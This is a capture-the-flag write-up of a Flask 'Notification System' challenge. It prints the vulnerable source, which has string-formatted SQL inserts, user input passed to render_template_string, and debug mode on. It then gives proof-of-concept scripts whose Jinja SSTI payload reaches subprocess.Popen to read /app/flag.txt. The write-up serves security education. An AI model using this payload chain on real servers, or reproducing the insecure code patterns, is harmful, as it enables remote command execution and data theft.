Tags: ssti web 

Rating:

After opening the link we see `Notification System` title and this page:
![](https://i.ibb.co/FHB0LqR/Screenshot-from-2020-09-28-13-13-26.png)

We can choose from five different server names, lets open DevConsole first, select random server and click `Enterokay`.

![](https://i.ibb.co/18VfY7Q/Screenshot-from-2020-09-28-13-15-56.png)

Two takeaways here:
- Server Name is used as argument to `/profile?name=` request
- We can actually in the console log that code is available at `/dump`

So lets see the code at `/dump`
```
#!/usr/bin/env python3
from flask import Flask, request, g, render_template, render_template_string, Response
from flask_mail import Mail, Message

import sqlite3
import os

app = Flask(__name__)

app.config['SECRET_KEY'] = 'una-cualquiera-fruta-fruta'
app.config['MAIL_SERVER'] = 'smtp.gmail.com'
app.config['MAIL_PORT'] = 465
app.config['MAIL_USERNAME'] = '[email protected]'
app.config['MAIL_PASSWORD'] = os.environ['GMAIL_PASSWORD']
app.config['MAIL_USE_TLS'] = False
app.config['MAIL_USE_SSL'] = True

mail = Mail(app)
DATABASE = '/app/database.db'

acc_tmpl = '''
Se reporto un evento en SERVIDOR:
{{ mensaje }}
'''

def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.isolation_level = None
#db.row_factory = sqlite3.Row
#db.text_factory = lambda x: str(x).replace('"', '"').replace("'", ''').replace('<', '<').replace('>', '>')
return db

@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()

def init_db():
with app.app_context():
db = get_db()
with app.open_resource('schema.sql', mode='r') as f:
db.cursor().executescript(f.read())
db.commit()

def query_db(query, args=(), one=False):
with app.app_context():
cur = get_db().execute(query, args)
rv = [dict((cur.description[idx][0], str(value)) \
for idx, value in enumerate(row)) for row in cur.fetchall()]
return (rv[0] if rv else None) if one else rv

@app.route('/sendMessage', methods=['POST'])
def sendMessage():
if request.method == 'POST':
msg = Message(request.form['subject'], sender = '[email protected]', recipients = [request.form['dest']])
msg.body = render_template_string(acc_tmpl.replace('SERVIDOR', query_db('SELECT nombre FROM usuarios ORDER BY usuario_id DESC', one=True)['nombre']), mensaje=request.form['body'])
mail.send(msg)

return render_template('enviado.html', dest=request.form['dest'])

@app.route('/profile')
def profile():
name = request.args.get('name', '')
if name:
query_db('INSERT INTO usuarios (nombre) VALUES ("%s")' % name)

return render_template('sender.html')
return render_template('error.html')

@app.route('/')
def index():
return render_template('base.html')

@app.route('/error')
def error():
1/0

@app.route('/dump')
def dump():
return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000, debug=True)
```

Multiple takeaways here:
- Debug is turned on (console at `/console` is locked with PIN)
- We can insert whatever we want as the `Server Name` to the sqlite database
- There is Jinja Template Rendering the `acc_tmpl` variable.
- There is `/error` which we can trigger to receive nicely formatted flask debug stacktrace
- When sending the message with `/sendMessage` it actually selects the last item from `usuarios` table, since the ID is most likely starting at 1 and is being incremented, we can assume that what we insert with `/profile?name=` is going to be used in the following `/sendMessage` call.

Given the points above, it looks like we can have SSTI here (Server-side template injection). I am doing this writeup locally as the remote is no longer running.
At first, this challenge was sending emails with the rendered templates, but soon the email got banned by google so it was just outputted to the page. Since I have the first version locally and I dont want to mess with the email accounts now, I'll simulate rendering the template as simple log to terminal (Works exactly the same)

So lets create a POC exploit script:
```
MESSAGE_URL = "http://localhost:5000/sendMessage" #"https://faradaychallenge.herokuapp.com/sendMessage"
PROFILE_URL = "http://localhost:5000/profile?name={}" #"https://faradaychallenge.herokuapp.com/profile?name={}"

import requests

s = requests.session()

template_payload = "{{ 7 * 7 }}"


print("[>] Sending Profile Request with Jinja Payload")
r = s.get(PROFILE_URL.format(template_payload))
print("[+] Injected")

print("[>] Sending POST with message")
r = s.post(MESSAGE_URL, data={
"dest": "[email protected]",
"body": "",
"subject": ""
})
```

That renders it to the email, and in the competition, you'd receive an email saying:
```
Se reporto un evento en 49:
```

Simulated here
```
127.0.0.1 - - [28/Sep/2020 13:31:09] "GET /profile?name=%7B%7B%207%20*%207%20%7D%7D HTTP/1.1" 200 -
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: abcd
From: [email protected]
To: [email protected]
Date: Mon, 28 Sep 2020 13:31:09 +0200
Message-ID: <160129266940.23082.10935889377956197316@josef-nsw>

Se reporto un evento en 49:
```

So indeed, we can create a malicious server name, which is inserted into sqlite and then used to substitute the string in the email template. But where is the flag?
After triggering the /error endpoint, we can actually see the origin file in the traceback.
![](https://i.ibb.co/XS1ZjRQ/Screenshot-from-2020-09-28-13-50-50.png)

Maybe the flag is at `/app/flag,txt` ? Lets try that, first I've tried to simply pass `import os; os.system('cat /app/flag.txt')` but that throw `jinja2.exceptions.TemplateSyntaxError: expected token 'end of print statement', got 'os'` so I decided to go with classic `pyJailEscape` tactic and used empty string to get reference to `subprocess.Popen` (which was 405th in the list of available subclasses and functions). So now my solve script looks like this:

```
MESSAGE_URL = "http://localhost:5000/sendMessage" #"https://faradaychallenge.herokuapp.com/sendMessage"
PROFILE_URL = "http://localhost:5000/profile?name={}" #"https://faradaychallenge.herokuapp.com/profile?name={}"

import requests

s = requests.session()

template_payload = "{{ ''.__class__.__mro__[1].__subclasses__()[405]('cat /app/flag.txt', shell=True, stdout=-1).communicate() }}"

print("[>] Sending Profile Request with Jinja Payload")
r = s.get(PROFILE_URL.format(template_payload))
print("[+] Injected")

print("[>] Sending POST with message")
r = s.post(MESSAGE_URL, data={
"dest": "[email protected]",
"body": "",
"subject": "abcd"
})
```

Which resulted in the flag being rendered to the email and sent in the original challenge, here simulated in console
```
127.0.0.1 - - [28/Sep/2020 14:00:56] "GET /profile?name=%7B%7B%207*7%20%7D%7D HTTP/1.1" 200 -
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: abcd
From: [email protected]
To: [email protected]
Date: Mon, 28 Sep 2020 14:00:56 +0200
Message-ID: <160129445623.23082.2783914523236979586@josef-nsw>

Se reporto un evento en EKO{5d7f587b198f97aae048a40d9f46bc73}:
```

Flag: EKO{5d7f587b198f97aae048a40d9f46bc73}